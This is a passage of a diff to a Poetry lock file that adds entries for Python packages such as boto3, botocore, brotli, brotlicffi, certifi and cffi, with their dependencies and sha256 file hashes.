"main" +optional = false +python-versions = ">= 3.7" +files = [ + {file = "boto3-1.24.59-py3-none-any.whl", hash = "sha256:34ab44146a2c4e7f4e72737f4b27e6eb5e0a7855c2f4599e3d9199b6a0a2d575"}, + {file = "boto3-1.24.59.tar.gz", hash = "sha256:a50b4323f9579cfe22fcf5531fbd40b567d4d74c1adce06aeb5c95fce2a6fb40"}, +] + +[package.dependencies] +botocore = ">=1.27.59,<1.28.0" +jmespath = ">=0.7.1,<2.0.0" +s3transfer = ">=0.6.0,<0.7.0" + +[package.extras] +crt = ["botocore[crt] (>=1.21.0,<2.0a0)"] + +[[package]] +name = "botocore" +version = "1.27.59" +description = "Low-level, data-driven core of boto 3." +category = "main" +optional = false +python-versions = ">= 3.7" +files = [ + {file = "botocore-1.27.59-py3-none-any.whl", hash = "sha256:69d756791fc024bda54f6c53f71ae34e695ee41bbbc1743d9179c4837a4929da"}, + {file = "botocore-1.27.59.tar.gz", hash = "sha256:eda4aed6ee719a745d1288eaf1beb12f6f6448ad1fa12f159405db14ba9c92cf"}, +] + +[package.dependencies] +jmespath = ">=0.7.1,<2.0.0" +python-dateutil = ">=2.1,<3.0.0" +urllib3 = ">=1.25.4,<1.27" + +[package.extras] +crt = ["awscrt (==0.14.0)"] + +[[package]] +name = "breadability" +version = "0.1.20" +description = "Port of Readability HTML parser in Python" +category = "main" +optional = false +python-versions = "*" +files = [ + {file = "breadability-0.1.20.tar.gz", hash = "sha256:f1a7fdad1e58e295df80954879143824c706bbfb1826cdf4b1d15de1a86afe99"}, +] + +[package.dependencies] +chardet = "*" +docopt = ">=0.6.1,<0.7" +lxml = ">=2.0" + +[[package]] +name = "brotli" +version = "1.0.9" +description = "Python bindings for the Brotli compression library" +category = "main" +optional = false +python-versions = "*" +files = [ + {file = "Brotli-1.0.9-cp27-cp27m-macosx_10_9_x86_64.whl", hash = "sha256:268fe94547ba25b58ebc724680609c8ee3e5a843202e9a381f6f9c5e8bdb5c70"}, + {file = "Brotli-1.0.9-cp27-cp27m-manylinux1_i686.whl", hash = "sha256:c2415d9d082152460f2bd4e382a1e85aed233abc92db5a3880da2257dc7daf7b"}, + {file = "Brotli-1.0.9-cp27-cp27m-manylinux1_x86_64.whl", hash = "sha256:5913a1177fc36e30fcf6dc868ce23b0453952c78c04c266d3149b3d39e1410d6"}, + {file = "Brotli-1.0.9-cp27-cp27m-win32.whl", hash = "sha256:afde17ae04d90fbe53afb628f7f2d4ca022797aa093e809de5c3cf276f61bbfa"}, + {file = "Brotli-1.0.9-cp27-cp27mu-manylinux1_i686.whl", hash = "sha256:7cb81373984cc0e4682f31bc3d6be9026006d96eecd07ea49aafb06897746452"}, + {file = "Brotli-1.0.9-cp27-cp27mu-manylinux1_x86_64.whl", hash = "sha256:db844eb158a87ccab83e868a762ea8024ae27337fc7ddcbfcddd157f841fdfe7"}, + {file = "Brotli-1.0.9-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:9744a863b489c79a73aba014df554b0e7a0fc44ef3f8a0ef2a52919c7d155031"}, + {file = "Brotli-1.0.9-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:a72661af47119a80d82fa583b554095308d6a4c356b2a554fdc2799bc19f2a43"}, + {file = "Brotli-1.0.9-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:7ee83d3e3a024a9618e5be64648d6d11c37047ac48adff25f12fa4226cf23d1c"}, + {file = "Brotli-1.0.9-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_12_i686.manylinux2010_i686.whl", hash = "sha256:19598ecddd8a212aedb1ffa15763dd52a388518c4550e615aed88dc3753c0f0c"}, + {file = "Brotli-1.0.9-cp310-cp310-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:44bb8ff420c1d19d91d79d8c3574b8954288bdff0273bf788954064d260d7ab0"}, + {file = "Brotli-1.0.9-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:e23281b9a08ec338469268f98f194658abfb13658ee98e2b7f85ee9dd06caa91"}, + {file = "Brotli-1.0.9-cp310-cp310-musllinux_1_1_i686.whl", hash = "sha256:3496fc835370da351d37cada4cf744039616a6db7d13c430035e901443a34daa"}, + {file = "Brotli-1.0.9-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:b83bb06a0192cccf1eb8d0a28672a1b79c74c3a8a5f2619625aeb6f28b3a82bb"}, + {file = "Brotli-1.0.9-cp310-cp310-win32.whl", hash = "sha256:26d168aac4aaec9a4394221240e8a5436b5634adc3cd1cdf637f6645cecbf181"}, + {file = "Brotli-1.0.9-cp310-cp310-win_amd64.whl", hash = "sha256:622a231b08899c864eb87e85f81c75e7b9ce05b001e59bbfbf43d4a71f5f32b2"}, + {file = "Brotli-1.0.9-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:cc0283a406774f465fb45ec7efb66857c09ffefbe49ec20b7882eff6d3c86d3a"}, + {file = "Brotli-1.0.9-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:11d3283d89af7033236fa4e73ec2cbe743d4f6a81d41bd234f24bf63dde979df"}, + {file = "Brotli-1.0.9-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:3c1306004d49b84bd0c4f90457c6f57ad109f5cc6067a9664e12b7b79a9948ad"}, + {file = "Brotli-1.0.9-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:b1375b5d17d6145c798661b67e4ae9d5496920d9265e2f00f1c2c0b5ae91fbde"}, + {file = "Brotli-1.0.9-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:cab1b5964b39607a66adbba01f1c12df2e55ac36c81ec6ed44f2fca44178bf1a"}, + {file = "Brotli-1.0.9-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:8ed6a5b3d23ecc00ea02e1ed8e0ff9a08f4fc87a1f58a2530e71c0f48adf882f"}, + {file = "Brotli-1.0.9-cp311-cp311-musllinux_1_1_i686.whl", hash = "sha256:cb02ed34557afde2d2da68194d12f5719ee96cfb2eacc886352cb73e3808fc5d"}, + {file = "Brotli-1.0.9-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:b3523f51818e8f16599613edddb1ff924eeb4b53ab7e7197f85cbc321cdca32f"}, + {file = "Brotli-1.0.9-cp311-cp311-win32.whl", hash = "sha256:ba72d37e2a924717990f4d7482e8ac88e2ef43fb95491eb6e0d124d77d2a150d"}, + {file = "Brotli-1.0.9-cp311-cp311-win_amd64.whl", hash = "sha256:3ffaadcaeafe9d30a7e4e1e97ad727e4f5610b9fa2f7551998471e3736738679"}, + {file = "Brotli-1.0.9-cp35-cp35m-macosx_10_6_intel.whl", hash = "sha256:c83aa123d56f2e060644427a882a36b3c12db93727ad7a7b9efd7d7f3e9cc2c4"}, + {file = "Brotli-1.0.9-cp35-cp35m-manylinux1_i686.whl", hash = "sha256:6b2ae9f5f67f89aade1fab0f7fd8f2832501311c363a21579d02defa844d9296"}, + {file = "Brotli-1.0.9-cp35-cp35m-manylinux1_x86_64.whl", hash = "sha256:68715970f16b6e92c574c30747c95cf8cf62804569647386ff032195dc89a430"}, + {file = "Brotli-1.0.9-cp35-cp35m-win32.whl", hash = "sha256:defed7ea5f218a9f2336301e6fd379f55c655bea65ba2476346340a0ce6f74a1"}, + {file = "Brotli-1.0.9-cp35-cp35m-win_amd64.whl", hash = "sha256:88c63a1b55f352b02c6ffd24b15ead9fc0e8bf781dbe070213039324922a2eea"}, + {file = "Brotli-1.0.9-cp36-cp36m-macosx_10_9_x86_64.whl", hash = "sha256:503fa6af7da9f4b5780bb7e4cbe0c639b010f12be85d02c99452825dd0feef3f"}, + {file = "Brotli-1.0.9-cp36-cp36m-manylinux1_i686.whl", hash = "sha256:40d15c79f42e0a2c72892bf407979febd9cf91f36f495ffb333d1d04cebb34e4"}, + {file = "Brotli-1.0.9-cp36-cp36m-manylinux1_x86_64.whl", hash = "sha256:93130612b837103e15ac3f9cbacb4613f9e348b58b3aad53721d92e57f96d46a"}, + {file = "Brotli-1.0.9-cp36-cp36m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:87fdccbb6bb589095f413b1e05734ba492c962b4a45a13ff3408fa44ffe6479b"}, + {file = "Brotli-1.0.9-cp36-cp36m-musllinux_1_1_aarch64.whl", hash = "sha256:6d847b14f7ea89f6ad3c9e3901d1bc4835f6b390a9c71df999b0162d9bb1e20f"}, + {file = "Brotli-1.0.9-cp36-cp36m-musllinux_1_1_i686.whl", hash = "sha256:495ba7e49c2db22b046a53b469bbecea802efce200dffb69b93dd47397edc9b6"}, + {file = "Brotli-1.0.9-cp36-cp36m-musllinux_1_1_x86_64.whl", hash = "sha256:4688c1e42968ba52e57d8670ad2306fe92e0169c6f3af0089be75bbac0c64a3b"}, + {file = "Brotli-1.0.9-cp36-cp36m-win32.whl", hash = "sha256:61a7ee1f13ab913897dac7da44a73c6d44d48a4adff42a5701e3239791c96e14"}, + {file = "Brotli-1.0.9-cp36-cp36m-win_amd64.whl", hash = "sha256:1c48472a6ba3b113452355b9af0a60da5c2ae60477f8feda8346f8fd48e3e87c"}, + {file = "Brotli-1.0.9-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:3b78a24b5fd13c03ee2b7b86290ed20efdc95da75a3557cc06811764d5ad1126"}, + {file = "Brotli-1.0.9-cp37-cp37m-manylinux1_i686.whl", hash = "sha256:9d12cf2851759b8de8ca5fde36a59c08210a97ffca0eb94c532ce7b17c6a3d1d"}, + {file = "Brotli-1.0.9-cp37-cp37m-manylinux1_x86_64.whl", hash = "sha256:6c772d6c0a79ac0f414a9f8947cc407e119b8598de7621f39cacadae3cf57d12"}, + {file = "Brotli-1.0.9-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:29d1d350178e5225397e28ea1b7aca3648fcbab546d20e7475805437bfb0a130"}, + {file = "Brotli-1.0.9-cp37-cp37m-musllinux_1_1_aarch64.whl", hash = "sha256:7bbff90b63328013e1e8cb50650ae0b9bac54ffb4be6104378490193cd60f85a"}, + {file = "Brotli-1.0.9-cp37-cp37m-musllinux_1_1_i686.whl", hash = "sha256:ec1947eabbaf8e0531e8e899fc1d9876c179fc518989461f5d24e2223395a9e3"}, + {file = "Brotli-1.0.9-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:12effe280b8ebfd389022aa65114e30407540ccb89b177d3fbc9a4f177c4bd5d"}, + {file = "Brotli-1.0.9-cp37-cp37m-win32.whl", hash = "sha256:f909bbbc433048b499cb9db9e713b5d8d949e8c109a2a548502fb9aa8630f0b1"}, + {file = "Brotli-1.0.9-cp37-cp37m-win_amd64.whl", hash = "sha256:97f715cf371b16ac88b8c19da00029804e20e25f30d80203417255d239f228b5"}, + {file = "Brotli-1.0.9-cp38-cp38-macosx_10_9_universal2.whl", hash = "sha256:e16eb9541f3dd1a3e92b89005e37b1257b157b7256df0e36bd7b33b50be73bcb"}, + {file = "Brotli-1.0.9-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:160c78292e98d21e73a4cc7f76a234390e516afcd982fa17e1422f7c6a9ce9c8"}, + {file = "Brotli-1.0.9-cp38-cp38-manylinux1_i686.whl", hash = "sha256:b663f1e02de5d0573610756398e44c130add0eb9a3fc912a09665332942a2efb"}, + {file = "Brotli-1.0.9-cp38-cp38-manylinux1_x86_64.whl", hash = "sha256:5b6ef7d9f9c38292df3690fe3e302b5b530999fa90014853dcd0d6902fb59f26"}, + {file = "Brotli-1.0.9-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:8a674ac10e0a87b683f4fa2b6fa41090edfd686a6524bd8dedbd6138b309175c"}, + {file = "Brotli-1.0.9-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:e2d9e1cbc1b25e22000328702b014227737756f4b5bf5c485ac1d8091ada078b"}, + {file = "Brotli-1.0.9-cp38-cp38-musllinux_1_1_i686.whl", hash = "sha256:b336c5e9cf03c7be40c47b5fd694c43c9f1358a80ba384a21969e0b4e66a9b17"}, + {file = "Brotli-1.0.9-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:85f7912459c67eaab2fb854ed2bc1cc25772b300545fe7ed2dc03954da638649"}, + {file = "Brotli-1.0.9-cp38-cp38-win32.whl", hash = "sha256:35a3edbe18e876e596553c4007a087f8bcfd538f19bc116917b3c7522fca0429"}, + {file = "Brotli-1.0.9-cp38-cp38-win_amd64.whl", hash = "sha256:269a5743a393c65db46a7bb982644c67ecba4b8d91b392403ad8a861ba6f495f"}, + {file = "Brotli-1.0.9-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:2aad0e0baa04517741c9bb5b07586c642302e5fb3e75319cb62087bd0995ab19"}, + {file = "Brotli-1.0.9-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:5cb1e18167792d7d21e21365d7650b72d5081ed476123ff7b8cac7f45189c0c7"}, + {file = "Brotli-1.0.9-cp39-cp39-manylinux1_i686.whl", hash = "sha256:16d528a45c2e1909c2798f27f7bf0a3feec1dc9e50948e738b961618e38b6a7b"}, + {file = "Brotli-1.0.9-cp39-cp39-manylinux1_x86_64.whl", hash = "sha256:56d027eace784738457437df7331965473f2c0da2c70e1a1f6fdbae5402e0389"}, + {file = "Brotli-1.0.9-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:9bf919756d25e4114ace16a8ce91eb340eb57a08e2c6950c3cebcbe3dff2a5e7"}, + {file = "Brotli-1.0.9-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:e4c4e92c14a57c9bd4cb4be678c25369bf7a092d55fd0866f759e425b9660806"}, + {file = "Brotli-1.0.9-cp39-cp39-musllinux_1_1_i686.whl", hash = "sha256:e48f4234f2469ed012a98f4b7874e7f7e173c167bed4934912a29e03167cf6b1"}, + {file = "Brotli-1.0.9-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:9ed4c92a0665002ff8ea852353aeb60d9141eb04109e88928026d3c8a9e5433c"}, + {file = "Brotli-1.0.9-cp39-cp39-win32.whl", hash = "sha256:cfc391f4429ee0a9370aa93d812a52e1fee0f37a81861f4fdd1f4fb28e8547c3"}, + {file = "Brotli-1.0.9-cp39-cp39-win_amd64.whl", hash = "sha256:854c33dad5ba0fbd6ab69185fec8dab89e13cda6b7d191ba111987df74f38761"}, + {file = "Brotli-1.0.9-pp37-pypy37_pp73-macosx_10_9_x86_64.whl", hash = "sha256:9749a124280a0ada4187a6cfd1ffd35c350fb3af79c706589d98e088c5044267"}, + {file = "Brotli-1.0.9-pp37-pypy37_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_12_i686.manylinux2010_i686.whl", hash = "sha256:73fd30d4ce0ea48010564ccee1a26bfe39323fde05cb34b5863455629db61dc7"}, + {file = "Brotli-1.0.9-pp37-pypy37_pp73-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:02177603aaca36e1fd21b091cb742bb3b305a569e2402f1ca38af471777fb019"}, + {file = "Brotli-1.0.9-pp37-pypy37_pp73-win_amd64.whl", hash = "sha256:76ffebb907bec09ff511bb3acc077695e2c32bc2142819491579a695f77ffd4d"}, + {file = "Brotli-1.0.9-pp38-pypy38_pp73-macosx_10_9_x86_64.whl", hash = "sha256:b43775532a5904bc938f9c15b77c613cb6ad6fb30990f3b0afaea82797a402d8"}, + {file = "Brotli-1.0.9-pp38-pypy38_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_12_i686.manylinux2010_i686.whl", hash = "sha256:5bf37a08493232fbb0f8229f1824b366c2fc1d02d64e7e918af40acd15f3e337"}, + {file = "Brotli-1.0.9-pp38-pypy38_pp73-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:330e3f10cd01da535c70d09c4283ba2df5fb78e915bea0a28becad6e2ac010be"}, + {file = "Brotli-1.0.9-pp38-pypy38_pp73-win_amd64.whl", hash = "sha256:e1abbeef02962596548382e393f56e4c94acd286bd0c5afba756cffc33670e8a"}, + {file = "Brotli-1.0.9-pp39-pypy39_pp73-macosx_10_9_x86_64.whl", hash = "sha256:3148362937217b7072cf80a2dcc007f09bb5ecb96dae4617316638194113d5be"}, + {file = "Brotli-1.0.9-pp39-pypy39_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:336b40348269f9b91268378de5ff44dc6fbaa2268194f85177b53463d313842a"}, + {file = "Brotli-1.0.9-pp39-pypy39_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:3b8b09a16a1950b9ef495a0f8b9d0a87599a9d1f179e2d4ac014b2ec831f87e7"}, + {file = "Brotli-1.0.9-pp39-pypy39_pp73-win_amd64.whl", hash = "sha256:c8e521a0ce7cf690ca84b8cc2272ddaf9d8a50294fd086da67e517439614c755"}, + {file = "Brotli-1.0.9.zip", hash = "sha256:4d1b810aa0ed773f81dceda2cc7b403d01057458730e309856356d4ef4188438"}, +] + +[[package]] +name = "brotlicffi" +version = "1.0.9.2" +description = "Python CFFI bindings to the Brotli library" +category = "main" +optional = false +python-versions = "*" +files = [ + {file = "brotlicffi-1.0.9.2-cp27-cp27m-macosx_10_9_x86_64.whl", hash = "sha256:408ec4359f9763280d5c4e0ad29c51d1240b25fdd18719067e972163b4125b98"}, + {file = "brotlicffi-1.0.9.2-cp27-cp27m-manylinux1_i686.whl", hash = "sha256:2e4629f7690ded66c8818715c6d4dd6a7ff6a4f10fad6186fe99850f781ce210"}, + {file = "brotlicffi-1.0.9.2-cp27-cp27m-manylinux1_x86_64.whl", hash = "sha256:137c4635edcdf593de5ce9d0daa596bf499591b16b8fca5fd72a490deb54b2ee"}, + {file = "brotlicffi-1.0.9.2-cp27-cp27m-manylinux2010_i686.whl", hash = "sha256:af8a1b7bcfccf9c41a3c8654994d6a81821fdfe4caddcfe5045bfda936546ca3"}, + {file = "brotlicffi-1.0.9.2-cp27-cp27m-manylinux2010_x86_64.whl", hash = "sha256:9078432af4785f35ab3840587eed7fb131e3fc77eb2a739282b649b343c584dd"}, + {file = "brotlicffi-1.0.9.2-cp27-cp27mu-manylinux1_i686.whl", hash = "sha256:7bb913d5bf3b4ce2ec59872711dc9faaff5f320c3c3827cada2d8a7b793a7753"}, + {file = "brotlicffi-1.0.9.2-cp27-cp27mu-manylinux1_x86_64.whl", hash = "sha256:16a0c9392a1059e2e62839fbd037d2e7e03c8ae5da65e9746f582464f7fab1bb"}, + {file = "brotlicffi-1.0.9.2-cp27-cp27mu-manylinux2010_i686.whl", hash = "sha256:94d2810efc5723f1447b332223b197466190518a3eeca93b9f357efb5b22c6dc"}, + {file = "brotlicffi-1.0.9.2-cp27-cp27mu-manylinux2010_x86_64.whl", hash = "sha256:9e70f3e20f317d70912b10dbec48b29114d3dbd0e9d88475cb328e6c086f0546"}, + {file = "brotlicffi-1.0.9.2-cp35-abi3-macosx_10_9_x86_64.whl", hash = "sha256:586f0ea3c2eed455d5f2330b9ab4a591514c8de0ee53d445645efcfbf053c69f"}, + {file = "brotlicffi-1.0.9.2-cp35-abi3-manylinux1_i686.whl", hash = "sha256:4454c3baedc277fd6e65f983e3eb8e77f4bc15060f69370a0201746e2edeca81"}, + {file = "brotlicffi-1.0.9.2-cp35-abi3-manylinux1_x86_64.whl", hash = "sha256:52c1c12dad6eb1d44213a0a76acf5f18f64653bd801300bef5e2f983405bdde5"}, + {file = "brotlicffi-1.0.9.2-cp35-abi3-manylinux2010_i686.whl", hash = "sha256:21cd400d24b344c218d8e32b394849e31b7c15784667575dbda9f65c46a64b0a"}, + {file = "brotlicffi-1.0.9.2-cp35-abi3-manylinux2010_x86_64.whl", hash = "sha256:71061f8bc86335b652e442260c4367b782a92c6e295cf5a10eff84c7d19d8cf5"}, + {file = "brotlicffi-1.0.9.2-cp35-abi3-manylinux2014_aarch64.whl", hash = "sha256:15e0db52c56056be6310fc116b3d7c6f34185594e261f23790b2fb6489998363"}, + {file = "brotlicffi-1.0.9.2-cp35-abi3-win32.whl", hash = "sha256:551305703d12a2dd1ae43d3dde35dee20b1cb49b5796279d4d34e2c6aec6be4d"}, + {file = "brotlicffi-1.0.9.2-cp35-abi3-win_amd64.whl", hash = "sha256:2be4fb8a7cb482f226af686cd06d2a2cab164ccdf99e460f8e3a5ec9a5337da2"}, + {file = "brotlicffi-1.0.9.2-pp27-pypy_73-macosx_10_9_x86_64.whl", hash = "sha256:8e7221d8a084d32d15c7b58e0ce0573972375c5038423dbe83f217cfe512e680"}, + {file = "brotlicffi-1.0.9.2-pp27-pypy_73-manylinux1_x86_64.whl", hash = "sha256:75a46bc5ed2753e1648cc211dcb2c1ac66116038766822dc104023f67ff4dfd8"}, + {file = "brotlicffi-1.0.9.2-pp27-pypy_73-manylinux2010_x86_64.whl", hash = "sha256:1e27c43ef72a278f9739b12b2df80ee72048cd4cbe498f8bbe08aaaa67a5d5c8"}, + {file = "brotlicffi-1.0.9.2-pp27-pypy_73-win32.whl", hash = "sha256:feb942814285bdc5e97efc77a04e48283c17dfab9ea082d79c0a7b9e53ef1eab"}, + {file = "brotlicffi-1.0.9.2-pp36-pypy36_pp73-macosx_10_9_x86_64.whl", hash = "sha256:a6208d82c3172eeeb3be83ed4efd5831552c7cd47576468e50fcf0fb23fcf97f"}, + {file = "brotlicffi-1.0.9.2-pp36-pypy36_pp73-manylinux1_x86_64.whl", hash = "sha256:408c810c599786fb806556ff17e844a903884e6370ca400bcec7fa286149f39c"}, + {file = "brotlicffi-1.0.9.2-pp36-pypy36_pp73-manylinux2010_x86_64.whl", hash = "sha256:a73099858ee343e8801710a08be8d194f47715ff21e98d92a19ac461058f52d1"}, + {file = "brotlicffi-1.0.9.2-pp36-pypy36_pp73-win32.whl", hash = "sha256:916b790f967a18a595e61f218c252f83718ac91f24157d622cf0fa710cd26ab7"}, + {file = "brotlicffi-1.0.9.2-pp37-pypy37_pp73-macosx_10_9_x86_64.whl", hash = "sha256:ba4a00263af40e875ec3d6c7f623cbf8c795b55705da18c64ec36b6bf0848bc5"}, + {file = "brotlicffi-1.0.9.2-pp37-pypy37_pp73-manylinux1_x86_64.whl", hash = "sha256:df78aa47741122b0d5463f1208b7bb18bc9706dee5152d9f56e0ead4865015cd"}, + {file = "brotlicffi-1.0.9.2-pp37-pypy37_pp73-manylinux2010_x86_64.whl", hash = "sha256:9030cd5099252d16bfa4e22659c84a89c102e94f8e81d30764788b72e2d7cfb7"}, + {file = "brotlicffi-1.0.9.2-pp37-pypy37_pp73-win32.whl", hash = "sha256:7e72978f4090a161885b114f87b784f538dcb77dafc6602592c1cf39ae8d243d"}, + {file = "brotlicffi-1.0.9.2.tar.gz", hash = "sha256:0c248a68129d8fc6a217767406c731e498c3e19a7be05ea0a90c3c86637b7d96"}, +] + +[package.dependencies] +cffi = ">=1.0.0" + +[[package]] +name = "certifi" +version = "2022.12.7" +description = "Python package for providing Mozilla's CA Bundle." +category = "main" +optional = false +python-versions = ">=3.6" +files = [ + {file = "certifi-2022.12.7-py3-none-any.whl", hash = "sha256:4ad3232f5e926d6718ec31cfc1fcadfde020920e278684144551c91769c7bc18"}, + {file = "certifi-2022.12.7.tar.gz", hash = "sha256:35824b4c3a97115964b408844d64aa14db1cc518f6562e8d7261699d1350a9e3"}, +] + +[[package]] +name = "cffi" +version = "1.15.1" +description = "Foreign Function Interface for Python calling C code." +category = "main" +optional = false +python-versions = "*" +files = [ + {file = "cffi-1.15.1-cp27-cp27m-macosx_10_9_x86_64.whl", hash = "sha256:a66d3508133af6e8548451b25058d5812812ec3798c886bf38ed24a98216fab2"}, + {file = "cffi-1.15.1-cp27-cp27m-manylinux1_i686.whl", hash = "sha256:470c103ae716238bbe698d67ad020e1db9d9dba34fa5a899b5e21577e6d52ed2"}, + {file = "cffi-1.15.1-cp27-cp27m-manylinux1_x86_64.whl", hash = "sha256:9ad5db27f9cabae298d151c85cf2bad1d359a1b9c686a275df03385758e2f914"}, + {file = "cffi-1.15.1-cp27-cp27m-win32.whl", hash = "sha256:b3bbeb01c2b273cca1e1e0c5df57f12dce9a4dd331b4fa1635b8bec26350bde3"}, + {file = "cffi-1.15.1-cp27-cp27m-win_amd64.whl", hash = "sha256:e00b098126fd45523dd056d2efba6c5a63b71ffe9f2bbe1a4fe1716e1d0c331e"}, + {file = "cffi-1.15.1-cp27-cp27mu-manylinux1_i686.whl", hash = "sha256:d61f4695e6c866a23a21acab0509af1cdfd2c013cf256bbf5b6b5e2695827162"}, + {file = "cffi-1.15.1-cp27-cp27mu-manylinux1_x86_64.whl", hash = "sha256:ed9cb427ba5504c1dc15ede7d516b84757c3e3d7868ccc85121d9310d27eed0b"}, + {file = "cffi-1.15.1-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:39d39875251ca8f612b6f33e6b1195af86d1b3e60086068be9cc053aa4376e21"}, + {file = "cffi-1.15.1-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:285d29981935eb726a4399badae8f0ffdff4f5050eaa6d0cfc3f64b857b77185"}, + {file = "cffi-1.15.1-cp310-cp310-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:3eb6971dcff08619f8d91607cfc726518b6fa2a9eba42856be181c6d0d9515fd"}, + {file = "cffi-1.15.1-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:21157295583fe8943475029ed5abdcf71eb3911894724e360acff1d61c1d54bc"}, + {file = "cffi-1.15.1-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:5635bd9cb9731e6d4a1132a498dd34f764034a8ce60cef4f5319c0541159392f"}, + {file = "cffi-1.15.1-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:2012c72d854c2d03e45d06ae57f40d78e5770d252f195b93f581acf3ba44496e"}, + {file = "cffi-1.15.1-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:dd86c085fae2efd48ac91dd7ccffcfc0571387fe1193d33b6394db7ef31fe2a4"}, + {file = "cffi-1.15.1-cp310-cp310-musllinux_1_1_i686.whl", hash = "sha256:fa6693661a4c91757f4412306191b6dc88c1703f780c8234035eac011922bc01"}, + {file = "cffi-1.15.1-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:59c0b02d0a6c384d453fece7566d1c7e6b7bae4fc5874ef2ef46d56776d61c9e"}, + {file = "cffi-1.15.1-cp310-cp310-win32.whl", hash = "sha256:cba9d6b9a7d64d4bd46167096fc9d2f835e25d7e4c121fb2ddfc6528fb0413b2"}, + {file = "cffi-1.15.1-cp310-cp310-win_amd64.whl", hash = "sha256:ce4bcc037df4fc5e3d184794f27bdaab018943698f4ca31630bc7f84a7b69c6d"}, + {file = "cffi-1.15.1-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:3d08afd128ddaa624a48cf2b859afef385b720bb4b43df214f85616922e6a5ac"}, + {file = "cffi-1.15.1-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:3799aecf2e17cf585d977b780ce79ff0dc9b78d799fc694221ce814c2c19db83"}, + {file = "cffi-1.15.1-cp311-cp311-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:a591fe9e525846e4d154205572a029f653ada1a78b93697f3b5a8f1f2bc055b9"}, + {file = "cffi-1.15.1-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:3548db281cd7d2561c9ad9984681c95f7b0e38881201e157833a2342c30d5e8c"}, + {file = "cffi-1.15.1-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:91fc98adde3d7881af9b59ed0294046f3806221863722ba7d8d120c575314325"}, + {file = "cffi-1.15.1-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:94411f22c3985acaec6f83c6df553f2dbe17b698cc7f8ae751ff2237d96b9e3c"}, + {file = "cffi-1.15.1-cp311-cp311-musllinux_1_1_i686.whl", hash = "sha256:03425bdae262c76aad70202debd780501fabeaca237cdfddc008987c0e0f59ef"}, + {file = "cffi-1.15.1-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:cc4d65aeeaa04136a12677d3dd0b1c0c94dc43abac5860ab33cceb42b801c1e8"}, + {file = "cffi-1.15.1-cp311-cp311-win32.whl", hash = "sha256:a0f100c8912c114ff53e1202d0078b425bee3649ae34d7b070e9697f93c5d52d"}, + {file = "cffi-1.15.1-cp311-cp311-win_amd64.whl", hash = "sha256:04ed324bda3cda42b9b695d51bb7d54b680b9719cfab04227cdd1e04e5de3104"}, + {file = "cffi-1.15.1-cp36-cp36m-macosx_10_9_x86_64.whl", hash = "sha256:50a74364d85fd319352182ef59c5c790484a336f6db772c1a9231f1c3ed0cbd7"}, + {file = "cffi-1.15.1-cp36-cp36m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:e263d77ee3dd201c3a142934a086a4450861778baaeeb45db4591ef65550b0a6"}, + {file = "cffi-1.15.1-cp36-cp36m-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:cec7d9412a9102bdc577382c3929b337320c4c4c4849f2c5cdd14d7368c5562d"}, + {file = 